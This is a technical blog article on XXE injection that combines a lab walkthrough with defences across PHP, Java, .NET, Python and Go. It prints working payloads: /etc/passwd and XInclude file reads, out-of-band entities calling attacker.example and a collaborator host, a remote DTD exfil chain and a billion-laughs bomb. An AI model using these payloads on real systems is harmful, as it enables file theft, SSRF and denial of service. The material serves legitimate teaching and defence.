XML External Entity (XXE) injection is a vulnerability where an XML parser configured to resolve external entities is fed attacker-controlled XML, letting it read local files, reach internal services, or exfiltrate data out of band. libxml turned external-entity loading off by default in 2012, so today XXE mostly survives in legacy SOAP code and parsers with the unsafe flags re-enabled.
XML External Entity injection is the vulnerability that defined an OWASP Top 10 slot in 2017, then quietly vanished from the next edition because the parsers got fixed. That second half is half true. libxml flipped external-entity loading off by default back in 2012, the rest of the major parsers followed across the next few years, and the textbook out-of-band exfil chain that every penetration-test report used to feature does not fire end-to-end on a modern PHP 8.2 install. The out-of-band primitive itself still works. XInclude is still a separate bypass that audits routinely miss. Legacy applications still ship with the unsafe flags re-enabled because someone copied a Stack Overflow snippet in 2014. This article is the field-tested, parser-version-honest version of the XXE story.
XXE is a class I see less of in 2026 than I used to, mostly because libxml's defaults finally changed and the rest of the major parsers followed. The ones I still find live in legacy SOAP code, in B2B integrations nobody has touched in eight years, and in misconfigured frameworks where someone re-enabled external entities on purpose.
This is the spoke companion to the web application security vulnerabilities taxonomy. I cover what XXE is, the four attack flavours, what libxml 2.9.x actually changed (with the dates), a working walk-through against a Dockerised lab that proves which patterns still fire and which do not, the blind out-of-band workflow, the XInclude code path that entity defences miss, the equivalents in Java, .NET, Python, and Go, the modern defences, the testing tools, and a handful of verified CVEs.
What is XXE?
XML External Entity injection is what happens when an XML parser is asked to parse attacker-controlled XML with external-entity resolution turned on. The attacker declares a custom entity inside the document's DOCTYPE whose value is a SYSTEM URI, the parser dereferences that URI as part of building the parse tree, and the result of the dereference (file contents, the body of an HTTP response, the output of a network probe) gets substituted into the document wherever the entity is referenced.
It is catalogued as CWE-611, Improper Restriction of XML External Entity Reference. It used to sit at A04 in the OWASP Top 10 2017. In the 2021 edition it was folded into A05 Security Misconfiguration, on the reasoning that the parsers ship safe and the remaining incidents are almost always a deliberate config flag set wrong rather than a fresh bug.
The mechanism rides on three XML features that are easy to forget exist:
- DTDs (Document Type Definitions). A
<!DOCTYPE>block inside an XML document can declare entities, including external ones, that are then expanded as the document is parsed. - General entities.
<!ENTITY foo SYSTEM "file:///etc/passwd">declares an entity namedfoowhose expansion is the contents of/etc/passwd. Referencing it as&foo;in the document body substitutes the file content at that point. - Parameter entities.
<!ENTITY % foo SYSTEM "...">is the variant used inside the DTD itself, expanded with%foo;. They are the building block for the classic blind exfil chain.
XML, in other words, is a small programming language. If you forget that and you hand attacker input to a parser configured to evaluate it, you get the predictable result.
The four attack flavours
Classic in-band XXE: file read reflected in the response
The simplest case. The application accepts XML, parses it with external entities enabled, and then reflects some parsed value back in its HTTP response. The attacker declares an entity that reads a local file and references it in a field that gets reflected.
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<bookmarks>
<bookmark><name>&xxe;</name><url>http://x</url></bookmark>
</bookmarks>The parser substitutes &xxe; with the bytes of /etc/passwd while building the tree. The application, none the wiser, walks the tree and echoes <name> into HTML. The full file lands in the response.
This pattern requires the application to actually surface parsed content back to the user, which is more common than you would think: any importer that says "imported these 12 records, here they are" is a candidate.
Out-of-band HTTP exfil: direct external entity
Same shape, but the attacker does not need reflection. The SYSTEM URI is an HTTP URL pointing at an attacker-controlled server. When the parser resolves the entity, libxml issues an outbound HTTP request to that URL. The attacker reads the request out of their access log.
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY exfil SYSTEM "http://attacker.example/?leak=fired">
]>
<bookmarks>
<bookmark><name>&exfil;</name><url>http://x</url></bookmark>
</bookmarks>This is the version of OOB that still works on current libxml. The application response can be a flat OK, the parser still reaches out. The trade-off is that the attacker only proves the primitive fires, they do not directly exfiltrate file contents this way: a SYSTEM URI of file:///etc/passwd cannot have the file content baked into a follow-up HTTP request inside a general-entity declaration, because XML does not allow entity references inside entity values that resolve to URIs at that layer.
Direct OOB is enough to turn a server into an SSRF gadget against internal-only HTTP services and, in some libxml builds, a wide range of other URI schemes.
XInclude: an entirely separate path
XInclude is a W3C specification (XML Inclusions) that lets one XML document include the parsed content of another through a dedicated element rather than through entity resolution. It uses a separate libxml entry point (xmlXIncludeProcess in C, $dom->xinclude() in PHP) and a separate set of flags. Code that has carefully disabled DTD loading and external entities can still be vulnerable if it also calls the XInclude processor on attacker-controlled XML.
<?xml version="1.0"?>
<bookmarks xmlns:xi="http://www.w3.org/2001/XInclude">
<bookmark>
<name><xi:include href="file:///etc/hostname" parse="text"/></name>
<url>http://x</url>
</bookmark>
</bookmarks>No DOCTYPE, no <!ENTITY>. An audit that grepped for <!ENTITY would miss this. The fix is "do not call the XInclude processor on untrusted input", which sounds obvious until you find it in a legacy XSLT pipeline.
Billion laughs: entity-expansion DoS
The original "XML bomb". A nested chain of general entities where each level references the one below it ten times. The snippet below is abbreviated; the classic payload adds levels up to lol9, which expands a document of about a kilobyte into roughly 3 GB of text, exhausting memory before the parse completes.
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol6 "...">
]>
<root>&lol6;</root>libxml has mitigated this by default for years through a hard entity-expansion ceiling: the parser refuses to expand a document past a fixed substitution limit and aborts with a diagnostic instead. The mitigation can be turned off (passing LIBXML_PARSEHUGE in PHP, XML_PARSE_HUGE in C). If you cannot find a reason your code needs LIBXML_PARSEHUGE, you do not need it.
What libxml 2.9.x actually changed
This is the part most XXE write-ups handwave, and it matters, because the version of the parser is the difference between "textbook OOB file exfil works in five minutes" and "the only thing that fires is the direct entity probe".
libxml2 2.9.0 shipped on 2012-09-11. The headline change for this article is that external-entity loading is off by default: a fresh xmlReadFile call will not dereference a SYSTEM URI unless the caller explicitly opts in with XML_PARSE_NOENT (or, in PHP, passes LIBXML_NOENT to loadXML). Every textbook XXE payload from before 2013 assumed external entities loaded by default. After 2.9.0 they did not.
libxml2 2.9.4 (2016) and the subsequent 2.9.10 / 2.9.11 / 2.9.12 / 2.9.13 / 2.9.14 line tightened parameter-entity processing further: the parser refuses to expand a parameter-entity declaration loaded from an external DTD if that declaration in turn introduces a new entity whose body needs to resolve another parameter-entity reference. Concretely, the classic "load evil.dtd containing recursive %file + %eval + %exfil definitions, force %exfil; to fire so the file contents land in a second outbound HTTP request" chain no longer fires end to end.
I confirmed this against PHP 8.2 linked to libxml2 2.9.14 (Debian bookworm package) in the companion lab below. The DTD itself loads (the collaborator container logs GET /evil.dtd). The second-stage %exfil; GET that was supposed to carry the file contents in its query string never lands. The OOB primitive is intact; the OOB-file-content-exfil chain is mostly historical.
The take-away is not "XXE is fixed". It is:
- On a modern libxml, you need either an application that explicitly re-enables external entities (legacy code, "we need DTDs for our SOAP client",
LIBXML_NOENT | LIBXML_DTDLOAD) or a different code path entirely (XInclude). - When you do find such an application, classic in-band reflection still works for file reads, direct OOB still proves egress and gives you SSRF, XInclude still pulls files.
- The PortSwigger / OWASP write-ups that show file-content exfil through a recursive parameter-entity chain are correct against older parsers and against parsers built with different flags. They are not correct against PHP 8.2 with stock libxml. Test against the actual parser the target runs.
Walk a working chain: the xxe-basic lab
The techearl-labs repo ships an xxe-basic lab that mirrors the four flavours above. The parser is configured with LIBXML_NOENT | LIBXML_DTDLOAD | LIBXML_NOCDATA, which is the unsafe combination: external entities are substituted, the inline DOCTYPE is allowed to dereference SYSTEM URIs, XInclude is opted into on a separate endpoint. The entity-expansion limit is left on, deliberately, so the lab can demonstrate the default mitigation working.
Bring it up:
docker compose up xxe-basicTwo endpoints:
POST /import.phpreflects every<name>element back in the HTML response. In-band XXE and XInclude land here.POST /upload-blind.phpreturns a flatOK/Error. Blind / OOB scenarios land here.
Every scenario uses the same curl shape:
curl -s -X POST --data-binary @payload.xml \
-H 'Content-Type: application/xml' \
http://localhost:8086/import.phpScenario 1: in-band file read
Save the classic in-band payload from earlier in this article to payload.xml and POST it to /import.php. The response includes a bookmark whose <strong> is the full /etc/passwd text from the container.
Scenario 2: direct OOB via external entity (this fires on libxml 2.9.14)
This is the variant that proves the OOB primitive still works. Send the payload to /upload-blind.php:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY exfil SYSTEM "http://xxe-basic-collab/?leak=fired">
]>
<bookmarks>
<bookmark><name>&exfil;</name><url>http://x</url></bookmark>
</bookmarks>Tail the collaborator in a second terminal:
docker compose logs -f xxe-basic-collabYou will see a line of the shape [collab] GET from <ip> path=/?leak=fired. The application response is just OK. The parser issued the outbound HTTP request anyway. This is the real, fires-today primitive.
Scenario 3: the textbook recursive parameter-entity chain (does not fire end to end on this libxml)
The lab also ships an evil.dtd and the payload that points at it:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % remote SYSTEM "http://xxe-basic-collab/evil.dtd">
%remote;
]>
<bookmarks>
<bookmark><name>x</name><url>http://x</url></bookmark>
</bookmarks>POST to /upload-blind.php. The collaborator logs GET /evil.dtd, proving the parser fetched the external DTD. The second-stage exfil GET that the DTD tries to trigger never lands. This is the libxml 2.9.x hardening at work. I am including this scenario in the article because it is what every other XXE tutorial demonstrates and it is the single most important version-sensitive footgun: the pattern works against older parsers (and against parsers explicitly built with the hardening disabled) and produces a clean negative against modern ones, which makes "we tested XXE and nothing happened" hard to interpret without knowing the parser version.
Scenario 4: billion laughs (default-mitigated)
POST the nested-entity payload to /import.php. libxml's entity-expansion ceiling refuses to expand the document and the endpoint returns an XML parse error. Container CPU and memory stay flat. This is the right answer: the attack is documented, the mitigation that already blocks it is also documented.
Scenario 5: XInclude file read
POST the XInclude payload to /import.php. The application explicitly calls $dom->xinclude() on the parsed document, the include is expanded in place, and the container's /etc/hostname lands in the response. No DOCTYPE, no entity declaration. An audit looking only for <!ENTITY in source code or in incoming XML would miss this entirely.
Blind XXE and out-of-band exfiltration
Blind XXE is the variant where the application parses the attacker's XML but never reflects any field back, returning a flat OK. A lot of XML-accepting endpoints are blind by design: webhook receivers, async importers, SAML metadata consumers, SOAP services with a generic "accepted" envelope, document-upload pipelines that queue the parse and respond before the worker runs. The textbook in-band demo that reads /etc/passwd straight out of the response assumes the application surfaces parsed content, and roughly half the XXE-shaped endpoints I look at do not.
That does not make them safe. If the parser still dereferences external entities, the side effect of parsing is an outbound request from inside the application's network position, and that side effect is the bug. To prove it I need an out-of-band channel: a host I control whose access log or DNS log captures requests the parser issues on my behalf. The direct external-entity probe (shown above) is the one that still fires on modern libxml; the recursive parameter-entity DTD chain is the one that does not (see the libxml section above). A collaborator hit is the difference between "we suspect this parser is misconfigured" and "we have a packet that says it is".
Setting up the collaborator
Against a real target you need a host whose DNS or HTTP logs you can read. The realistic options:
- Burp Collaborator, PortSwigger's hosted service bundled with Burp Pro. One click per unique subdomain, catches DNS, HTTP and SMTP.
- Interactsh, ProjectDiscovery's open-source equivalent, hosted at
oast.funor self-hostable on a VPS with an NS-delegated subdomain. The self-hosted path keeps the callback logs off a third party. - Browser-accessible loggers (
dnslog.cn,webhook.site,requestbin.com) for one-off probes.
The probe pattern is identical regardless: put the collaborator's hostname in the SYSTEM URI of the entity, send the payload, watch the listener.
HTTP is not the only channel
DNS-only setups exfiltrate through subdomain queries: encode the value into a subdomain under a collaborator domain you control, force the parser to resolve a hostname like file-contents.abc123.oast.fun, and read the leaked value out of the authoritative DNS log. DNS-OOB is dominant in production because outbound DNS is almost never blocked even when outbound HTTP is.
What the primitive buys you
On a modern libxml the direct-entity probe proves the parser is misconfigured, confirms outbound egress (the same primitive that powers cloud-metadata SSRF, see SSRF), and surfaces any fields the application appended to the URL that you did not write yourself. The recursive PE-DTD chain, when it works against an older parser or a badly-configured Java SAML stack, gives you file contents via file:///etc/passwd, file:///etc/hostname, the application's config files, and environment variables through file:///proc/self/environ (where cloud keys, database passwords and signing secrets leak). On Java parsers the jar:// and netdoc:// schemes extend the reach; on PHP with stream wrappers, php://filter handles binary reads.
A clean negative on the recursive pattern does not mean "no XXE here", only "no XXE through this chain on this parser". Try the direct-entity probe first, fall back to XInclude, and only then conclude the parser is hardened.
Detecting blind XXE from logs
Outbound HTTP egress logs from the application host are the first place to look: a fetch to an external host the application has no business contacting, especially with a path or query string that looks like exfil under unusual TLDs (.oast.fun, .interactsh.com), is the signature. Outbound DNS query logs catch the DNS-OOB variant. Incoming request bodies carrying a DOCTYPE and SYSTEM URI references are unusual outside well-defined SOAP traffic. The same detection that catches blind SSRF catches blind XXE, for the same reasons.
XInclude attacks
XInclude is the XXE variant that does not look like XXE: no DOCTYPE, no entity declaration, nothing the regex in a code review or WAF rule is grepping for. The only thing on the wire is an xi:include element bound to the http://www.w3.org/2001/XInclude namespace, which every entity-based defence leaves wide open. The flavours section above introduced it; this is the full treatment, because it is the one audits routinely miss.
Why it sidesteps the entity defences
The XXE remediation playbook every team adopts is built around the entity system: disable external general entities, disable external parameter entities, disallow the DOCTYPE. PHP's safe defaults, Java's disallow-doctype-decl, .NET's DtdProcessing.Prohibit, Python's defusedxml. All of those fire on the entity code path.
XInclude is not on that path. It is processed by a separate function (xmlXIncludeProcess in libxml C, DOMDocument::xinclude in PHP, the XIncludeAware factory flag in Java) that takes the already-parsed tree and walks it looking for elements in the XInclude namespace. No DTD has to load, no entity has to expand; the application only has to call the include processor. So a code review that greps for <!ENTITY, a test plan that confirms LIBXML_NOENT is unset, and a SAST tool tuned for DTD sinks all pass while the application is wide open. The only signal is a call to the XInclude processor on input that was not schema-validated to forbid the XInclude namespace, and that call is one line in a large codebase. I have seen it in three places repeatedly: legacy XSLT pipelines that enabled XInclude for a single internal report; SOAP / WS-Security stacks where it is part of envelope composition; and SAML / WS-Federation parsers where the assertion layer enabled it for a forgotten interop reason.
The application opts in for a known-internal, trusted-source flow, then the same code path gets reused for a user-facing upload or an inbound webhook, and the opt-in stops being safe. The fix is never "find the call site and flip the flag" without understanding what depends on it; it is to constrain what XInclude can do.
parse="text" versus parse="xml"
The two parse modes give the attacker different primitives. parse="text" is the clean arbitrary-file-read: the resource is read as bytes and substituted as a text node, so any file the process can read (/etc/passwd, /proc/self/environ, .env files, config) lands directly in any element that reflects parsed content. With an HTTP href it is also an SSRF primitive, reaching internal services and cloud-metadata endpoints.
parse="xml" (the default) is the deeper one: the included resource is parsed as XML in its own right, which means it carries its own DOCTYPE and its own entity-resolution context. A hostile server returning crafted XML can chain into out-of-band exfil even when the outer parse was configured safely, because the top-level reader's safety flags are not automatically applied to the included document's parse. Treat the choice as a difference in attacker goal, not in defensive value: neither is safe for untrusted input.
The fix per stack
The reliable defence is to not call the XInclude processor on untrusted input, or to constrain href to an allow-list before invoking it.
- PHP: do not call
$dom->xinclude()on attacker XML. If you must, passLIBXML_NONET(blockshttp:///https://href, does nothing forfile://) and pre-walk the tree to reject any element in the XInclude namespace first:
$dom = new DOMDocument();
$dom->loadXML($input);
foreach ($dom->getElementsByTagNameNS('http://www.w3.org/2001/XInclude', 'include') as $inc) {
throw new RuntimeException('XInclude not permitted in this context');
}
$dom->xinclude(LIBXML_NONET);- Java:
DocumentBuilderFactory.setXIncludeAware(false)is the current default, but assert it explicitly (it has been flipped on in production often enough), and pair it withFEATURE_SECURE_PROCESSINGanddisallow-doctype-decl.SAXParserFactoryhas the samesetXIncludeAwareswitch (also off by default), so set it there too.XMLInputFactory(StAX) andTransformerFactoryexpose no XInclude flag at all; lock those down with their own controls instead:SUPPORT_DTD=falseandIS_SUPPORTING_EXTERNAL_ENTITIES=falseonXMLInputFactory, andACCESS_EXTERNAL_DTDplusACCESS_EXTERNAL_STYLESHEETset to an empty string onTransformerFactory. Configure every factory the app instantiates. - .NET:
System.Xmlhas no first-class XInclude; the risk comes through XSLT pipelines (XslCompiledTransform) and third-party libraries (Mvp.Xml). SetXmlResolver = nullon the reader and the transform, and audit any non-stdlib XML processing. - Python: with
lxml, parsing alone does not process XInclude; the exposed path is an explicittree.xinclude()call (orElementInclude.include()in the stdlib) on untrusted input. Do not call the XInclude processor on untrusted documents; if you must, configureXMLParser(resolve_entities=False, no_network=True, load_dtd=False)and pre-walk for anhrefallow-list first. Do not lean ondefusedxml.lxmlfor this: the defusedxml README marks that module deprecated and unmaintained, and it notes that libxml2 has no option to sandbox XInclude, so the control is not calling it.
XInclude CVEs are rarer than entity-based XXE only because descriptions fold both under CWE-611, which understates how often the root cause is the XInclude path. If an application has a SOAP / WS-* stack, a SAML parser, or an XSLT pipeline, the audit question is not "do we disable external entities" but "do we call the XInclude processor anywhere in the request path".
The Billion Laughs attack
Billion laughs is the original XML denial-of-service trick: a payload that fits inside a single HTTP request but, parsed naively, explodes into roughly a billion copies of a short string (about 3 GB) before the parse completes. The flavours section above shows an abbreviated chain; this is the full treatment, because the version-sensitivity and the cross-format family are the parts most write-ups skip.
The math, and why it is a parser-side DoS
Every level after the base lol entity multiplies the count by ten. A chain that stops at lol6 has five multiplying levels, so it expands to 10^5 copies of the three-character lol string: about 300 KB, a nuisance rather than an outage. The classic payload names its first multiplier lol1 and runs to lol9, nine multiplying levels, so &lol9; expands to 10^9 copies of lol: the "billion", roughly 3 GB of text. The exact figure varies between write-ups depending on how many levels they declare; what matters is the ratio, about a kilobyte of input forcing gigabytes of allocated memory, because each extra level multiplies the output by ten while adding only a line to the input.
That ratio is why this is a different shape of problem than a network flood. A volumetric DoS, a SYN flood or a slowloris is visible at the network layer and within a CDN or layer-7 WAF's remit. Billion laughs is a single small well-formed POST; the CDN forwards it, and a WAF that is not counting entity references in the DOCTYPE sees a normal XML body. The cost is entirely on the parser side, an amplification ratio north of a million to one, one layer below the perimeter. It is the same shape as a SQL injection that triggers a Cartesian join or regex catastrophic backtracking: small input, exponential interpreter work.
Variants the same ceiling catches
- Quadratic blowup skips the nested chain and declares one long entity (say 50 KB of
a), then references it ten thousand times in the body: 500 MB of expansion. The amplification is lower, but a single unremarkable-looking entity declaration is harder for a "no DTD" WAF rule to spot. libxml tracks cumulative expansion, not nesting depth, so the same ceiling catches it. - External entity expansion chains the bomb across a remote DTD (
<!ENTITY % remote SYSTEM "http://attacker.example/bomb.dtd">). Two defaults catch it: external-entity loading is off by default since libxml 2.9.0, so the DTD does not load unless the app opted in, and even if it does, the expansion ceiling still counts the entities the remote DTD declares. You need both defaults off to land it, which is why it is essentially absent from CVE history past the early 2010s.
The fix when you must keep entity expansion on
The rare application that genuinely processes trusted, large entity-driven XML (a fully-validated DocBook pipeline) should raise the ceiling, never remove it:
- PHP: the
LIBXML_PARSEHUGEflag is binary (no per-call limit). Pass it only on the trusted import path, never on an endpoint that accepts attacker XML. If you cannot remember why your code passes it, remove it and run the tests. - Python: defusedxml refuses entity declarations outright; for
lxml,etree.XMLParser(resolve_entities=False, no_network=True, load_dtd=False). - Java:
XMLConstants.FEATURE_SECURE_PROCESSINGcaps expansion; the ceiling is thejdk.xml.entityExpansionLimitsystem property (64000 by default on recent JDKs). Raise it deliberately, never disable it. - .NET:
XmlReaderSettings.DtdProcessingdefaults toProhibit, which rejects the DOCTYPE outright; keep it there. If you must switch toDtdProcessing.Parse, setXmlReaderSettings.MaxCharactersFromEntitiesto an explicit, application-specific limit, because its default is 0, which means no limit at all.
The family is bigger than XML
Any layer that takes a short input and produces longer output recursively needs an explicit cap on the output side. YAML has its own version through anchors and aliases (a nested chain of *alias references is a billion-laughs payload in YAML). Use yaml.safe_load to stop arbitrary Python object construction, but note it still resolves anchors and aliases, so cap the input size or use a parser with an alias limit for untrusted documents; JSON has no entity layer but deeply-nested [[[[...]]]] can blow a recursive-descent parser's stack (depth-limit it, as most modern libraries do); Protocol Buffers ship a recursion limit for self-referential message types; and the classic zip bomb (a 42 KB file that decompresses to gigabytes) is the same lesson at the decompression layer. The original disclosure, CVE-2003-1564, hit half a dozen XML stacks on the same day because none had thought to cap entity expansion until someone demonstrated why they should.
XXE in other parsers
The libxml story is the most-documented because PHP, Perl, Ruby's Nokogiri, and most of the Python C-extension XML parsers wrap it. The other major XML stacks have their own histories and their own safe-default flags.
Java
Historically the worst offender. DocumentBuilderFactory, SAXParserFactory, XMLInputFactory, and TransformerFactory all default to "evaluate everything", and the safe configuration has to be applied per factory:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);The OWASP XXE Prevention Cheat Sheet has the full list per factory. Newer Java releases have raised the default secure-processing baseline, but the long tail of Java XML code in production was written when the defaults were unsafe.
.NET
XmlDocument.XmlResolver has been null by default since .NET Framework 4.5.2 (released 2014), which kills entity resolution. XmlReaderSettings controls the modern path:
var settings = new XmlReaderSettings
{
DtdProcessing = DtdProcessing.Prohibit,
XmlResolver = null
};
using var reader = XmlReader.Create(input, settings);DtdProcessing.Prohibit is the right default for parsing arbitrary input. DtdProcessing.Parse plus a null resolver is the right setting if you genuinely need DTD-defined entities but no external dereferencing. DtdProcessing.Parse plus a non-null resolver is the unsafe combination.
Python
The standard library xml.etree.ElementTree has been safe by default for years: it does not resolve external entities and it raises an error on entity definitions in the DOCTYPE. The riskier modules are xml.dom.minidom, xml.sax, and the third-party lxml (which wraps libxml). The Python security docs recommend defusedxml for any code that has to parse untrusted XML, which wraps every standard-library parser and explicitly raises on DTD declarations, external entities, and entity expansion bombs:
from defusedxml.ElementTree import fromstring
tree = fromstring(untrusted_xml)For lxml specifically:
from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True, load_dtd=False)
tree = etree.fromstring(untrusted_xml, parser)Go
encoding/xml does not support DTDs or external entities at all. It is the safest XML parser of the major languages, by design. The only XXE-shaped risks in a Go codebase come from binding a third-party C XML library, or from running an XSLT pipeline that does support external resolution.
Modern defences
The defensive story for XXE is genuinely simple, in a way most vulnerability classes are not:
- Disable external entity resolution entirely. Almost no production application needs to dereference
SYSTEMURIs while parsing user input. Set the right flags per parser and walk away. In PHP, the safe flags are "none of the unsafe ones": do not passLIBXML_NOENT, do not passLIBXML_DTDLOAD. The defaults are correct. - Do not call XInclude on untrusted input. XInclude is opt-in; treat opt-in as a deliberate architectural decision and make sure the input has been schema-validated first.
- Prefer JSON for new APIs. JSON parsers do not have an entity-resolution layer at all. The class is closed off by construction. This is the realistic long-term answer for greenfield work, but it does not retire legacy XML endpoints in your existing codebase.
- Schema-validate XML inputs strictly. A strict XSD that rejects unexpected elements raises the cost of an XXE probe even if the parser is misconfigured. It is a defence-in-depth layer, not the fix.
- Network-egress restrictions on application hosts. The OOB primitive needs an outbound HTTP request from the application to the internet. A default-deny egress policy denies the primitive even when the parser config is wrong. This is the same advice that closes off the out-of-band tier in SQL injection (see the SQL injection deep dive) and SSRF.
- Keep libxml current. The hardening between 2.9.0 and 2.9.14 was incremental and significant. Old PHP and old Python installs that statically link an old libxml are the realistic targets, not fully-patched 2026 stacks.
Tools for testing XXE
XXE is the class where the tools matter least and the payload craft matters most. After fifteen years of libxml hardening the realistic kit is small: an intercepting proxy to shape payloads, an out-of-band listener for blind cases, and a few payload generators for Office-file carriers. There is no sqlmap-equivalent, and a scanner that fires one file:///etc/passwd probe misses every blind, parameter-entity and Office-file variant.
| Tool | Licence | What it does | When I reach for it |
|---|---|---|---|
| Burp Suite (Pro) + Collaborator | Commercial | Repeater for one-character payload iteration; Collaborator as the OOB listener | The primary workflow, always |
| interactsh | MIT | Self-hostable OOB listener (DNS/HTTP/SMTP/LDAP) | Blind XXE without Burp Pro, or self-hosted OOB |
| XXEinjector | Ruby | Automates the OOB file-read loop once injection is confirmed | Bulk file extraction after a manual proof |
| oxml_xxe | Ruby (Sinatra) | Splices XXE payloads into docx/xlsx/pptx/SVG/KML/PDF carriers | Upload endpoints that parse Office files server-side |
| docem | Python | CLI payload generator for DOC/XML carriers | Batch variant generation (the oxml_xxe alternative) |
| PayloadsAllTheThings (XXE) | MIT | Community payload reference, pruned for modern libxml | Open in a tab every engagement |
| ffuf | MIT | Fast fuzzer to find XML-accepting endpoints | The discovery step before any XXE work |
Burp plus an OOB listener is the workflow
XXE is the textbook attack class for an intercepting proxy: the payload is small, variants differ by a character or two, and the only efficient way to iterate is to drop the request into Repeater, change one entity declaration, and diff the response. Repeater's XML view pretty-prints responses and highlights silent entity-expansion failures. For blind cases, Burp Collaborator (Pro) is the OOB listener that just works: a unique DNS/HTTP/SMTP subdomain per click. Pro is around 500 USD per user per year.
Without Pro, interactsh is the realistic substitute: point a wildcard DNS record at a VPS, run the server, and the OOB infrastructure is yours with no third-party logging. It catches DNS lookups, which is the only signal that survives on networks that block outbound HTTP from the parser. The trade-off is that you build your own integration (paste the subdomain into the payload by hand, watch the terminal) where Collaborator is one click.
Automation and Office-file carriers
XXEinjector automates the post-detection half: once a manual probe confirms the parser fetches external entities and OOB is reachable, it stands up its own listener and runs the file enumeration and extraction loop against a path wordlist, in direct or parameter-entity mode. It does not find the injection for you, maintenance is light (budget time for a Ruby install), and its default recursive parameter-entity pattern often fails on modern libxml, so you switch it to direct-entity mode with a flag.
A lot of real-world XXE in 2026 is not a raw-XML API but a document-upload endpoint: resume parsers, expense pipelines, KML uploads on mapping services, SVG uploads on profile pages. oxml_xxe takes a benign Office file, splices the payload into the right inner XML part, and repackages the ZIP, so you skip the half hour of working out which part the parser reads; docem is the CLI equivalent for generating a batch of variants. Both are stale but still work.
Discovery and what to skip
You cannot exploit a parser you have not found. ffuf enumerates endpoints that accept XML by combining a path wordlist with Content-Type: application/xml and filtering for responses that differ from the JSON or form-encoded probe. PayloadsAllTheThings keeps the canonical XXE payload set, pruned of variants that stopped firing on modern libxml.
I skip the "XXE finder" scanners that submit a single hard-coded payload and check for root:x:0:0: the false-negative rate against blind, parameter-entity, DOCTYPE-stripping and Office-file variants is high enough to give a confidently wrong answer. The same critique applies to the "XXE" checkbox in all-in-one pentest GUIs. For XXE done well, iterate manually in Burp.
A short way to pick: no endpoint yet, ffuf then a manual Burp probe; raw XML body, Repeater with PayloadsAllTheThings; Office/SVG/KML upload, oxml_xxe (one-off) or docem (batch); reflected output, a direct external-entity payload; blind, the OOB workflow with Collaborator or interactsh; confirmed and bulk-extracting files, XXEinjector with --oob=http.
Real-world incidents
XXE has a credible CVE history across vendors and product categories. Three illustrative examples, with the caveat that you should always pull the exact affected versions from the vendor advisory or NVD entry before quoting them in production:
- CVE-2019-3960 in Citrix ShareFile (StorageZones Controller). XXE in a file-handling endpoint, the kind of legacy SOAP-adjacent integration where unsafe parser defaults survive into 2019.
- CVE-2022-23307 in Apache Log4j 1.x's
ChainsawXML config loader, part of the long tail of CVEs filed against Log4j 1.x after the Log4Shell disclosure pulled the world's attention back to the abandoned 1.x branch. - The 2014 Facebook XXE reported by Reginaldo Silva (writeup). The interesting twist is that Silva escalated a plain XXE into remote code execution via PHP's
expect://stream wrapper, paid out at the top tier of the bug-bounty programme, and remains the canonical example of why an XXE finding should not be classified as "information disclosure" and closed at low severity. The escalation path is the lesson, the specific PHP wrapper less so.
The pattern across the CVE history: XXE rarely appears in newly-written code, frequently appears in legacy XML configuration parsers and SOAP / SAML endpoints, and is usually chained into SSRF or occasionally into RCE rather than ending at file disclosure. Modern Java middleware (Cisco, IBM, Oracle product lines) has had a steady drip of similar findings through 2018 to 2024 wherever a SOAP service was wired up before its XMLInputFactory had FEATURE_SECURE_PROCESSING enabled by default; rather than name specific CVE IDs from memory, the safer recommendation is to search the vendor's advisory database for "XXE" or "CWE-611" before assuming any product is safe.
Where to go next
The tools section above covers the kit I actually run: Burp with Collaborator, interactsh, XXEinjector, and the oxml_xxe / docem Office-file carriers. The hub page is the web application security vulnerabilities taxonomy. Sister spokes worth following from here: SQL injection for the other "untrusted input parsed as code" class, and the SSRF spoke (when published) for what an OOB primitive actually buys an attacker after the entity has resolved.
Sources
Authoritative references this article was fact-checked against.
- Microsoft Learn, XmlReaderSettings.MaxCharactersFromEntitieslearn.microsoft.com
- Microsoft Learn, XmlReaderSettings.DtdProcessinglearn.microsoft.com
- PyYAML, loader.py (SafeLoader includes the alias-resolving Composer)github.com
- OWASP, XML External Entity processingowasp.org
- PortSwigger Web Security Academy, XXEportswigger.net
- PHP, libxml constantsphp.net
- CWE-611: Improper Restriction of XML External Entity Referencecwe.mitre.org
- libxml2, release notesgitlab.gnome.org
- XXEinjector, official repositorygithub.com
- interactsh, ProjectDiscoverygithub.com
- oxml_xxe, official repositorygithub.com
- Burp Suite, PortSwiggerportswigger.net
- PayloadsAllTheThings, XXE Injectionswisskyrepo.github.io
- PortSwigger, Blind XXEportswigger.net
- W3C, XInclude 1.0 specificationw3.org
- PortSwigger, XML entities and XIncludeportswigger.net
- PHP, DOMDocument::xincludephp.net
- defusedxml README (XInclude and the deprecated lxml module)github.com
- Java SE 21, SAXParserFactorydocs.oracle.com
- Java SE 21, XMLInputFactorydocs.oracle.com
- Java SE 21, TransformerFactorydocs.oracle.com
- Wikipedia, Billion laughs attacken.wikipedia.org





